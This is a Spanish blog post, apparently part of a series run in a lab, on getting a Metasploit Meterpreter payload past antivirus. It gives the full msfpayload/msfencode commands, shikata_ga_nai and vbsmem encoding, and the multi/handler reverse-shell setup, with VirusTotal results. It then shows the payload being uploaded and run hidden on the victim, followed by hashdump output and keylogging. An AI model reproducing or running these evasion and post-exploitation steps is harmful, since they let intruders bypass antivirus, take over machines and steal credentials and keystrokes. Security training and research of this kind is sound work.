En el anterior post nos quedamos con que habíamos conseguido evadir el Antivirus empleando un Payload Java, pero al intentar subir el Payload Nativo (con mucha más funcionalidad) volvía a detectarlo. Para evitar eso, Metasploit tiene una funcionalidad para encodear Payloads que nos va a permitir codificar el Payload, con lo que vamos a evitar la detección por firmas y, como en este caso, algunas detecciones heurísticas.
Veamos qué posibles encodings podemos aplicar:
# cd /opt/metasploit3/msf3/
# ./msfencode -l
[...]
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
[...]
En principio el encoding "shikata_ga_nai" es el más ampliamente usado, así que vamos a hacer un par de pruebas y vamos a crear un fichero msf1.exe que es un Payload de Meterpreter sin encodear y luego vamos a generar otro encodeado con 5 iteraciones de este encoder, y lo vamos a llamar msf2.exe, y a ver que nos dice VirusTotal:
# ./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.146.132 LPORT=4445 X > msf1.exe
Antivirus | Version | Last update | Result |
---|---|---|---|
AhnLab-V3 | 2011.05.08.00 | 2011.05.07 | Trojan/Win32.Shell |
AntiVir | 7.11.7.177 | 2011.05.08 | TR/Crypt.EPACK.Gen2 |
Antiy-AVL | 2.0.3.7 | 2011.05.08 | - |
Avast | 4.8.1351.0 | 2011.05.08 | Win32:SwPatch |
Avast5 | 5.0.677.0 | 2011.05.08 | Win32:SwPatch |
AVG | 10.0.0.1190 | 2011.05.08 | Win32/Heur |
BitDefender | 7.2 | 2011.05.08 | Backdoor.Shell.AC |
CAT-QuickHeal | 11.00 | 2011.05.08 | Trojan.Swrort.A |
ClamAV | 0.97.0.0 | 2011.05.07 | - |
Commtouch | 5.3.2.6 | 2011.05.07 | W32/Swrort.A.gen!Eldorado |
Comodo | 8627 | 2011.05.08 | - |
Emsisoft | 5.1.0.5 | 2011.05.08 | Trojan.Win32.Swrort!IK |
eSafe | 7.0.17.0 | 2011.05.05 | - |
eTrust-Vet | 36.1.8312 | 2011.05.06 | Win32/Swrort.A!generic |
F-Prot | 4.6.2.117 | 2011.05.08 | W32/Swrort.A.gen!Eldorado |
Fortinet | 4.2.257.0 | 2011.05.08 | - |
GData | 22 | 2011.05.08 | Backdoor.Shell.AC |
Ikarus | T3.1.1.103.0 | 2011.05.08 | Trojan.Win32.Swrort |
Jiangmin | 13.0.900 | 2011.05.05 | - |
K7AntiVirus | 9.102.4584 | 2011.05.06 | Riskware |
Kaspersky | 9.0.0.837 | 2011.05.08 | HEUR:Trojan.Win32.Generic |
McAfee | 5.400.0.1158 | 2011.05.08 | - |
McAfee-GW-Edition | 2010.1D | 2011.05.07 | - |
Microsoft | 1.6802 | 2011.05.08 | Trojan:Win32/Swrort.A |
NOD32 | 6105 | 2011.05.08 | a variant of Win32/Rozena.AA |
Panda | 10.0.3.5 | 2011.05.08 | Suspicious file |
PCTools | 7.0.3.5 | 2011.05.06 | - |
Prevx | 3.0 | 2011.05.08 | - |
Rising | 23.56.06.05 | 2011.05.08 | - |
Sophos | 4.65.0 | 2011.05.08 | Mal/Swrort-C |
SUPERAntiSpyware | 4.40.0.1006 | 2011.05.08 | Trojan.Backdoor-PoisonIvy |
TheHacker | 6.7.0.1.191 | 2011.05.08 | - |
TrendMicro | 9.200.0.1012 | 2011.05.08 | - |
TrendMicro-HouseCall | 9.200.0.1012 | 2011.05.08 | - |
VBA32 | 3.12.16.0 | 2011.05.08 | - |
VIPRE | 9223 | 2011.05.08 | Trojan.Win32.Swrort.B (v) |
ViRobot | 2011.5.7.4450 | 2011.05.08 | - |
VirusBuster | 13.6.343.0 | 2011.05.08 | Trojan.Rosena.Gen.1 |
Ya para empezar, hay una cantidad razonable de Antivirus que NI SE ENTERAN de que el binario tiene un Meterpreter, y sorprende particularmente que entre ellos hay varios de los más conocidos. Veamos que pasa ahora si aplicamos un poco de encoding:
# ./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.146.132 LPORT=4445 R | ./msfencode -e x86/shikata_ga_nai -c 5 -t exe -o msf2.exe
Empleando el encoding la detección baja ligeramente hasta 23/42 (54.8%), pero como vemos poco cambia la situación. Vamos a hacer otra prueba para que veáis una cosa curiosa, vamos encodear un fichero vacio con un encoding "none", osea, sin ningún payload y sin ningún encoding, a ver que detección nos saca:
# echo -n | ./msfencode -e generic/none -t exe -o msf4.exe
Ahora es cuando nos quedamos con la cara de tontos, otra vez 23/41 (56.1%). Esto es debido a que algunos Antivirus ya se han preocupado de detectar de alguna forma los binarios encodeados con el msfencode de Metasploit, independientemente de su contenido.
Así que, en conclusión, podemos tener suerte y encontrar uno de los Antivirus que no detectan los Payloads de Metasploit y no tengamos que hacer nada, o que lo detecten y con un simple encoding consigamos que deje de detectarlo, pero en este caso lo tenemos un poco más complicado, así que vamos a tener que optar por otro tipo de encoding algo menos conocido.
Para ello vamos a irnos a la versión de desarrollo de msfencode, que tiene una funcionalidad nueva (no aparecerá hasta la versión 3.8 de Metasploit de forma estable) que permite generar el Payload dentro de un Script Visual Basic, pero de una forma diferente a como lo hacía anteriormente con VBS, Java, etc. En general, cuando tú generas un Payload Nativo dentro de un War, un VBS o similar, este lo que hace es crear un fichero en el disco y luego lo ejecuta, con lo que el Antivirus acabará detectando este binario, así que para este caso no nos sirve mucho.
Esta nueva opción de "empaquetamiento" llamada "vbsmem" funciona de una forma diferente, y lo que hace es crear una dll en disco (en la documentación habla de que lo hace todo "en memoria" pero yo he mirado el código y juraría que escribe la dll en disco) que tiene toda la funcionalidad, y entonces lo que hace es inyectar esta dll para que se ejecute. Vamos a ver que tal funciona, pero antes tenemos que generar el fichero y luego poner a la escucha el multi/handler para recoger la conexión:
# ./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.146.132 LPORT=4445 R | msfencode -e x86/shikata_ga_nai -t vbsmem > msf.vbs
# ./msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=0.0.0.0 LPORT=4445 E
Bueno, ahora solo tenemos que subir el fichero desde el Meterpreter Java que tenemos ya del post anterior y ejecutarlo, a ver si conseguimos por fin nuestro deseado Meterpreter Nativo de Windows:
meterpreter > sysinfo
OS : Windows XP 5.1 (x86)
Computer : rootedlab2
Meterpreter : java/java
meterpreter > upload msf.vbs
[*] uploading : msf.vbs -> msf.vbs
[*] uploaded : msf.vbs -> msf.vbs
meterpreter > execute -H -f cmd.exe -a "/c msf.vbs"
Process created.
Y mientras tanto en nuestro multi/handler a la escucha...
[*] Started reverse handler on 0.0.0.0:4445
[*] Starting the payload handler...
[*] Sending stage (749056 bytes) to 172.16.146.146
[*] Meterpreter session 1 opened (172.16.146.132:4445 -> 172.16.146.146:1100) at Sun May 08 18:21:31 +0200 2011
meterpreter > sysinfo
System Language : es_ES
OS : Windows XP (Build 2600, Service Pack 3).
Computer : ROOTEDLAB2
Architecture : x86
Meterpreter : x86/win32
Bingo! Lo tenemos! Y ahora, solo para asegurarnos que nuestro Meterpreter ahora puede hacer lo que queramos sin que el Antivirus nos detecte, vamos a hacer un hashdump y vamos a poner un KeyLogger a ver que pasa...
meterpreter > hashdump
Administrador:500:aad3b435b51404eeaad3b435b51404ee:2983ca1407d376f6358670f623f03a41:::
[...]
meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...
notepad.exe GAME OVER ANTIVIRUS >(
meterpreter > keyscan_stop
Stopping the keystroke sniffer...

Bueno... parece que ya lo tenemos, ha costado pero al final hemos conseguido meter nuestro Meterpreter Windows en el equipo protegido por el Antivirus sin que este se enterara, y eso que nos hemos cogido uno de los difíciles.
También habríamos podido modificar la rutina de encoding de Metasploit un poquillo para que ya no fuera detectada, pero para eso habría que haber tocado bastante más código y podría haber sido bastante más complicado, pero es la forma en la que, de una forma u otra, acabaríamos por conseguir ejecutar lo que quisiéramos.
Sed buenos :)